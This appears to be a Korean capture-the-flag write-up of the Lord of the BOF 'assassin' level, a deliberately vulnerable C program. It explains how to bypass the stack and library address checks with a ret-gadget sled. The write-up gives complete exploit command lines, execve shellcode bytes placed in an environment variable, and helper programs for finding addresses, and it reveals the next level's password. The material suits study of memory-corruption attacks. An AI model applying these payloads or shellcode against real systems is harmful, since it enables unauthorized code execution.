login as : giant
password : one step closer
문제 확인
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
1. 커맨드라인 인자가 있어야 한다.
2. RET 부분에 덮어쓰는 값이 0xbf로 시작하면 안되므로 스택 공간을 이용할 수 없다.
3. 공유 라이브러리 공간인 0x40으로 시작하는 주소도 안되므로 RTL 기법을 이용할 수 없다.
4. buffer와 SFP 부분을 초기화 한다.
이번 문제에서는 RET 부분에 덮어쓰는 주소값이 0xbf 또는 0x40으로 시작하면 안되므로 스택 공간과 RTL 기법을 이용할 수 없다.
낮은 주소 |
kernel |
code |
data |
bss |
heap |
libc |
stack |
높은 주소 |
프로세스 메모리 구조를 보면 스택 영역과 공유 라이브러리 영역을 사용할 수 없는 것이므로 텍스트(코드) 영역을 이용한다.
여기서 사용할 기법은 RET Sled 라는 기법인데, 이 기법은 RET 부분에 ret 가젯을 연속적으로 삽입하여 esp를 조작하는 기법으로, ret 가젯으로 esp를 조작할 수 있는 이유는 ret 명령은 내부적으로 pop eip; jmp eip와 같은 동작을 수행하는데, 이때 pop 명령은 esp가 가리키는 곳에서 4byte 값을 가져와 인자에 해당하는 곳에 넣는 것과 동시에 esp가 가리키는 주소에 4를 더하여 esp를 이동시키기 때문이다.
참고)
가젯이란 ROP 기법에서 자주 쓰이는 것인데, 원래 의미는 코드 조각을 지칭하지만, ret로 끝나는 연속된 명령어를 뜻하기도 한다.
이해하기 쉽게 ret 가젯은 ret 명령어 조각이라고 이해하면 된다.
dummy 값 확인
지역 변수의 공간으로 40byte를 할당하는 것으로 보아 dummy 값은 없다.
공격
RET sled 기법을 이용해 RET 부분에 ret 가젯(코드 조각)의 주소를 덮어쓴다면, esp가 RET 부분을 가리키는 상태에서 ret 명령이 실행되면 pop eip에 의해 esp가 가리키는 곳에서 4byte 값을 가져와 eip에 담는데, 이때 4byte 값은 ret 가젯의 주소이므로 eip에는 ret 명령이 있는 주소가 담기게 된다.
이어서 jmp eip에 의해 다시 ret 가젯이 있는 주소로 간다.
하지만 esp는 4가 더해져 이동됐기 때문에 RET 부분이 아닌 RET 부분 + 4 주소에 해당하는 위치에 있다.
참고)
대문자 RET라고 적은 것은 스택 공간의 RET 부분을 지칭하는 것이고, 소문자 ret 라고 적은 것은 코드 영역의 어셈블리 명령어를 지칭하는 의미로 적었다.
[dummy 값 * 44] + [ret 가젯의 주소] + [system 함수의 주소] + [system 함수의 RET 부분] + ["/bin/sh" 문자열의 주]
RET sled 기법을 이용하여 payload를 구성하면 위와 같다.
gdb -q assassin
set disassembly-flavor intel
disas main
먼저, ret 가젯의 주소는 gdb를 이용해 구할 수 있는데, ret 가젯의 주소는 0x0804851e이다.
ldd assassin
nm /lib/libc.so.6 | grep system
이어서 system 함수의 주소는 공유 라이브러리에서 찾을 수 있는데, libc의 base 주소 0x40018000에 system 함수의 offset 주소 0x40ae0을 더하면 system() 함수의 실제 주소는 0x40058ae0이다.
참고)
또 다른 방법은 assassin 파일을 다른 이름으로 복사한 후 gdb로 열고 실행시켜 프로세스화 한 후 print 명령을 이용해 system() 함수의 주소를 얻어내는 방법도 있다.
strings -tx /lib/libc.so.6 | grep /bin/sh
마지막으로 "/bin/sh" 문자열의 주소 역시 공유 라이브러리에서 offset 값을 구해 공유 라이브러리 base 주소에 더하면 0x400fbff9이다.
./assassin `python -c 'print "a" * 44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "b" * 4 + "\xf9\xbf\x0f\x40"'`
id
my-pass
이제 위에서 얻은 정보들을 가지고 payload 구성에 맞게 넣은 다음 assassin 파일에 인자로 주어 실행하면 assassin의 password인 pushing me away를 얻을 수 있다.
환경 변수 이용하기
위에서는 system() 함수의 주소를 구해 system() 함수가 실행되며 쉘이 실행되도록 했지만, 굳이 다른 함수를 실행하지 않고 환경 변수에 쉘코드를 입력하여 쉘을 띄울 수 있다.
ret 가젯을 이용하는 것 똑같지만 RET 부분 + 4의 주소에 system() 함수의 주소가 아닌 환경 변수의 주소를 넣는 것이다.
export shellcode=`printf "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`
echo $shellcode
먼저 셸코드를 환경 변수에 저장한다.
vi getenv.c
#include <stdio.h>
int main(int argc, char ** argv)
{
printf("%s : %p\n", argv[1], getenv(argv[1]));
return 0;
}
gcc -o getenv getenv.c
./getenv shellcode
이어서 getenv.c 파일에 위의 코드를 작성한 후 컴파일하고 실행하여 shellcode 환경 변수의 주소를 구하면 0xbfffff68이다.
./assassin `python -c 'print "a" * 44 + "\x1e\x85\x04\x08" + "\x68\xff\xff\xbf"'`
payload를 구성하는데 이번에는 위에서 말했듯이 ret 가젯을 이용해 system() 함수가 아닌 shellcode 환경 변수의 쉘 코드가 실행되게 한다.
하지만 위와 같이 segmentation fault 에러와 함께 실패한다.
아마 이는 프로그램 이름 길이에 따른 스택 주소의 변화 때문일 것이다.
프로그램 이름의 길이가 1byte 길어질수록 스택 주소는 2byte씩 작아지고, 반대로 이름의 길이라 1byte 짧아질수록 스택 주소는 2byte씩 커진다.
./getenv는 8byte이고, ./assassin은 10byte이므로 2byte가 길어지고, 이러면 스택 주소는 4byte 작아지므로 ./assassin 프로세스에서 shellcode 환경 변수의 주소는 0xbfffff64이다.
vi getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char ** argv)
{
char *ptr;
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s : %p\n", argv[1], ptr);
return 0;
}
gcc -o getenvaddr getenvaddr.c
./getenvaddr shellcode ./assassin
위와 같이 getenvaddr.c 파일에 소스코드를 입력해 컴파일 후 실행함으로써 shellcode 환경 변수의 주소를 정확하게 구할 수 있다.
./assassin `python -c 'print "a" * 44 + "\x1e\x85\x04\x08" + "\x64\xff\xff\xbf"'`
id
my-pass
payload를 수정하여 실행하면 위와 같이 성공한다.